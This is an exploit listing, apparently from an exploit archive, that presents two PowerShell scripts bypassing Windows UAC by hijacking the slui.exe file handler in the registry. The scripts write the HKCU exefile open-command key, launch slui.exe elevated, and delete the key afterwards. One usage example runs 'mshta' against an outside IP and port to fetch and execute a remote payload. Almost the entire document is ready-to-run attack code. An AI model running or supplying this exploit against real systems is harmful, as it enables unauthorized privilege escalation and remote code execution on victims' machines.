Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (PowerShell)

Interactive Version:
 
<#
.SYNOPSIS
        This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
        Function   : SluiHijackBypass
        File Name  : SluiHijackBypass.ps1
        Author     : Gushmazuko
.LINK
        https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1
        Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
        Load "cmd.exe" (By Default used 'arch 64'):
        SluiHijackBypass -command "cmd.exe" -arch 64
 
        Load "mshta http://192.168.0.30:4444/0HUGN"
        SluiHijackBypass -command "mshta http://192.168.0.30:4444/0HUGN"
#>
 
function SluiHijackBypass(){
        Param (
 
                [Parameter(Mandatory=$True)]
                [String]$command,
                [ValidateSet(64,86)]
                [int]$arch = 64
        )
 
        #Create registry structure
        New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
        Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $command -Force
 
        #Perform the bypass
        switch($arch)
        {
                64
                {
                        #x64 shell in Windows x64 | x86 shell in Windows x86
                        Start-Process "C:\Windows\System32\slui.exe" -Verb runas
                }
                86
                {
                        #x86 shell in Windows x64
                        C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\System32\slui.exe -Verb runas"
                }
        }
 
        #Remove registry structure
        Start-Sleep 3
        Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
}
 
 
################################################################################
 
 
Non-Interactive Version:
 
<#
.SYNOPSIS
  Noninteractive version of script, for directly execute.
  This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
        File Name  : SluiHijackBypass_direct.ps1
        Author     : Gushmazuko
.LINK
        https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass_direct.ps1
        Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
        Load "cmd.exe" (By Default used 'arch 64'):
        powershell -exec bypass .\SluiHijackBypass_direct.ps1
#>
 
$program = "cmd.exe"
New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $program -Force
#For x64 shell in Windows x64:
Start-Process "C:\Windows\System32\slui.exe" -Verb runas
#For x86 shell in Windows x64:
#C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process "C:\Windows\System32\slui.exe" -Verb runas"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
 
#  0day.today [2019-06-18]  #